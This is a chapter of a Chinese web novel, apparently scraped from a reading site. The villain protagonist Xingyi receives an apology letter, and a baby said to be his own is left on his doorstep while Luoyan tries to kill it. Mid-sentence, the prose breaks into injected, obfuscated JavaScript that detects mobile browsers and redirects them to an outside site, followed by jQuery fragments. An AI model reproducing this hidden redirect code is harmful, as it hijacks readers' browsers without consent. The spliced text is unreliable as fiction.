119.礼物

作品:《反派?那也得冲业绩!

    临走前夕,夜色沉得像浸了墨的锦缎,星乙坐在案前,指尖捏着笔,在素笺上细细勾勒着新的日程表。


    屋内静得只剩笔尖划过纸张的轻响,烛火摇曳,将他的影子投在窗棂上,安静又单薄。


    忽然,“窸——”


    一声极轻、极小心的响动,从紧闭的房门底下传来。


    一张折得整整齐齐的小纸条,像片被风送来的薄叶,悄无声息地从门缝里滑了进来,落在微凉的木地板上。


    星乙执笔的手一顿,抬眼望向那扇门,走去捡起了信纸。


    【季寻,不知道你还记不记得这个名字,我更喜欢用这个名字称呼你。诚如你所见,这些年来我总是鄙视你,冷脸以对,尖酸刻薄的对你说三道四,所以你才这么憎恶我。


    我背离了自己的初衷,我没能兑现保护你的诺言,并且伤害你。


    如今想来这都是我的错,我搞错了顺序,忘记了你在是我记忆里那个善良孩子之前,首先是你自己。我总欺骗自己,告诉自己你变成这样都是尤渚引诱了你,但头脑清醒以后,我才想起来,这条认贼作母的路是你自己选的。


    我最亏欠的人,居然变成了我最看不起的一类人,我难以接受,不知道该怎么办,你不知道,我背负了多么大的业罪。我本该远离你,从此成为陌路人,但我偏偏对自己发过毒誓,只要我活着,总有一天会找到你。


    哪怕那时候你头脚生疮,或者满头白发不能自理,不管你被折磨成什么人不人鬼不鬼的样子,我都接受,并且为你负责。可现在你站在我面前,外表光鲜亮丽内心却一片疮痍,你不再需要我的拯救,我成了局外人。


    我没能拯救你,更无法接受你被别人拯救,然后对她唯命是从,甚至要牺牲我视作珍宝的回忆来巩固对她的忠诚。


    不知道什么时候起,我身体里像住了一个魔鬼,它不断提醒我,你根本不记得我了,而且你变得越来越坏,我应该解决掉你。但我又清晰的知道,不管你变成什么样,我都应该对你负责任。


    因为当年如果没有你,我就死了。


    我不会放弃你的,我会继续缠着你,尽力保护你,哪怕你不再是季寻,但我依然站在这里。你选择遗忘,而我选择铭记。


    说了这么多,其实只有两句话。请你相信我。对不起。】


    星乙看完,沉默良久,指尖轻轻折起信纸,小心夹进随身携带的小本子里。他翻到那页写着罗新名字的纸,满页五角星,他考虑再三,大手一挥,在密密麻麻的星星中央,落下一道又大又沉的黑色叉号。


    然后为“罗新”这个名字,开辟了崭新空白页。


    隔日。


    花草茂盛,群山环绕中还有潺潺流水,养活人的土地上。


    站在能俯视整个村落农田的山顶,一览村内外每只小虫子的一举一动,居高临下的感觉每时每刻令人感到振奋。


    一黑一白两道身影并肩站立,不知过了多久,其中一人手指着一个遥远的点,笑嘻嘻道:找到了。”


    另一人沉默不语,视线从远处结构松散的村落转移到身边人的脸庞,道:“现在就要下手吗?”


    “我们找了他这么多年,没想到那孩子居然是星乙,真是得来全不……”


    “很难。”黑衣人打断她:“几千年前地牢里你就该杀了他,不该等到现在,现在尤渚和落言都护着他,我们根本无从下手。”


    白衣女不怎么服气,摊手道:“好吧,是我心急了。但看起来,落言和他最后的底牌闹的很不愉快啊。”


    “这对我们是好事。”


    “是好事,但不够好。”她笑着转头,又说:“我要彻底摧毁他们两个结盟的可能。”


    “星乙已经知道落言摧毁了他的过去,他那么敏感又睚眦必报,应该不会再有合作的可能了吧?”


    “谁知道呢,防范于未然才是最好的。”她说:“我不仅要落言摧毁他的过去,我还要让他知道,落言连他的未来也要斩断。”


    黑衣人没急着问下去,脸色沉重的看着山水紧凑的方向。女人拿出一个小瓶子,瓶子里只有舔底的些许深红色液体,她喃喃低语:“我会送星乙一份大礼。”


    “一份最棒的礼物。”


    家门前,一个竹编的篮子静静躺在那里,宛如一份诱惑人打开的天赐的礼物。


    这是什么?


    星乙老远就看到了那个篮子,跟在他身后的落言行动更快,快步走上前,一把掀开罩在上面的小棉被。


    还未走近的,星乙远远察觉到落言看到篮子里东西那一刻浑身明显的僵硬,貌似是什么不得了的东西。不等他靠近,他两手突然飞快的伸进篮子里,死死扣住了里面的东西。


    莫名其妙的,星乙突然觉得心脏一疼,大脑还没反应,身体就抢先一步冲了过去。


    篮子里传来婴儿响亮的哭声,落言的手正掐在小人的脖子上,出于某种本能,星乙一把推开了他,飞快的抢过沉甸甸的篮子,退的离落言远远的。


    小婴儿哇哇大哭,软软的身体被棉被裹着,星乙能感受到他的温度和所有细微的动作。


    落言要掐死他。


    星乙揽着怀里的小婴儿,安抚的轻轻拍打他的背,无师自通的轻轻摇晃,还真让他把受到惊吓啼哭不止的幼儿哄好了。同时,他看向远处蹲在地上的落言,寻求一个解释。


    “是本能吗。”


    星乙看着他。


    “她不能活!”落言上前就要把小孩抢走,星乙侧身躲开了。


    婴儿的脸颊红润,眼睛紧闭,小小的手指蜷缩在胸前,像是某种无助的呼唤。星乙的呼吸微微一滞,手指轻轻触碰到婴儿的脸颊,指尖传来一阵温热的触感。


    婴儿的哭叫声尖锐响亮,星乙这个哑巴抱着她却不嫌吵,除了震惊就只剩下喜欢。


    落言的目光落在婴儿的脸上,瞳孔猛地收缩,他的手指微微颤抖,像是某种压抑已久的情绪终于找到了出口。他的声音低沉而沙哑,像是某种无声的宣判:“这是你的孩子。”


    星乙放在婴儿廉价的手指猛地一颤,目光从婴儿的脸上移开,落在落言的脸上。


    他的眼神依旧冷静,却带着一种从未有过的锐利,湖蓝结冰。


    落言的手指缓缓握紧,指节发出轻微的咯咯声,似乎很不愿意面对,又不得不承认:“这是你的孩子,你亲骨肉。”


    他的声音低沉而冰冷,像是某种无声的诅咒。“你还没意识到吗,这是战书,是那几个疯子给我们下的战书。”


    星乙的目光再次回到婴儿的脸上,手指轻轻触碰到婴儿的眼角。


    婴儿的眼睛微微睁开,露出一双清澈的瞳孔,像是某种天生的探究。


    落言的话一个字一个字从左耳进去,右耳出来,只有“你的孩子”这四个字利箭一样射入肺腑,一滴心头血似的落在襁褓中,婴儿石榴红的眼睛在他怀中一眨一眨。


    这是你的孩子你的亲骨肉。


    你的孩子你的亲骨肉。


    你的骨肉。


    星乙魔怔般看着婴儿微笑,直到一只手手指猛地伸出,像是某种野兽的利爪,直直地朝着婴儿的喉咙抓去。


    星乙的反应比他更快。手掌猛地挡在婴儿的喉咙前,落言的手指狠狠地抓在他的手背上,留下一道深深的血痕。


    他的眼神冰冷而锐利,没有还手,像是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173301|194639||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    某种无声的警告。


    “星乙,你冷静点。”落言的声音低沉而沙哑,带着一丝无法掩饰的杀意。


    “这孩子身上流着你和另一个人的血,那个人是谁?他为什么有你的血,为什么要用花生石创造出这个孩子?他想干什么,这些你有想过吗?”


    星乙的手指轻轻握紧,掌心传来一阵温热的触感。他的目光依旧落在婴儿的脸上,眼中带着一种从未有过的柔情。


    这是我的孩子。


    他在心里告诉自己,像是某种无声的承诺。


    落言的手指缓缓松开,像是某种无力感终于压垮了他,他的目光依旧落在婴儿的脸上,眼中带着一种望穿前路的疲惫,像某种程度上的诅咒:“你会后悔的。”


    他知道,这个孩子或许会带来无尽的麻烦,但星乙绝不会放手。


    这是阳谋,但星乙注定会上当。


    落言无力的站在一旁,目光冰冷而锐利。星乙是错误的产物,孩子的另一个家长更是该死之人,这孩子从出生起,就注定不会是什么好东西。


    毫无疑问的,他对这个连名字都没有的生命产生了嫉恨,不仅仅因为他的出现斩断了他和星乙好不容易建立起的联系,更因为他的诞生让落言意识到了另一种牢固关系的可能。


    星乙爱尤渚,爱在她对星乙的培养和教导,星乙爱兰可,爱在她对星乙的真实和保护,这些东西建立在时间上,他可以理解,并且相信有一天自己也会得到这份“爱”。


    但这孩子仅仅是张开眼,哭了几嗓子,甚至不到六十秒,就赢得了星乙往后余生全部的“爱”。


    为什么?时间不够,交流不够,这种关系到底为什么成立?


    “你确定要这么做?”落言的声音低沉而沙哑,带着一丝他无法掩饰的愤怒。


    星乙转过身,抱着孩子轻轻地走向门口,随着门锁“咔哒”一声轻响,他的身影消失在门外。


    落言站在大门外,反应片刻,换上了乐摹的性格来到星乙房子的窗口。


    青鸟果然窝在窗台上,见到他立刻抬起鸟头。


    “他……”


    落言还没开口,窗户突然被狠狠关上了,星乙隔着玻璃站在窗边,他连忙贴住玻璃想说点什么,但星乙紧接着就拉上了帘子。


    午后的阳光被厚重窗帘绞成细碎的絮丝,在空旷的客厅织出灰蒙蒙的网。


    星乙垂首坐在褪色的布艺沙发上,影子被拖得很长,几乎要和墙角堆积的纸箱融为一体。他看向窗台,红羽和青鸟窝在一起睡着了似的不说话,貌似对这个家里骤然多出的小生命满不在乎。


    窗外,落言的影子孤零零的站在窗外不肯离去。


    婴儿在他臂弯里发出细软的呓语,粉嫩的小手无意识攥住他洗得发白的袖口,像抓住飘摇海面上最后一块浮木。


    这一趟远门新伤旧疾,回过神来后眼底青黑愈发浓重,星乙突然把孩子更紧地搂进怀里,温热的呼吸里裹着压抑的颤抖,仿佛这样就能把所有未知的风暴都挡在襁褓之外。


    我一定会保护你的,星乙亲吻了婴儿的额头。


    次日,莫求仙和赛江一早赶到办公室,就发现坐在那里似乎已经等了他们很久的星乙。少年脸上挂着黑眼圈说是一夜没睡也很有说服力,拼命的样子吓的莫求仙想辞职不干了。


    “帮我和那边联络。”星乙看着她,红羽说。


    莫求仙不确定他精神是否清醒,不确定他说的是不所以自己想的那个意思,问:“你在说什么?”


    “我要去一趟蓝国。”星乙,红羽说:“我要见烁王。”


    莫求仙和赛江对视一眼,不过片刻,“好”,她答应了。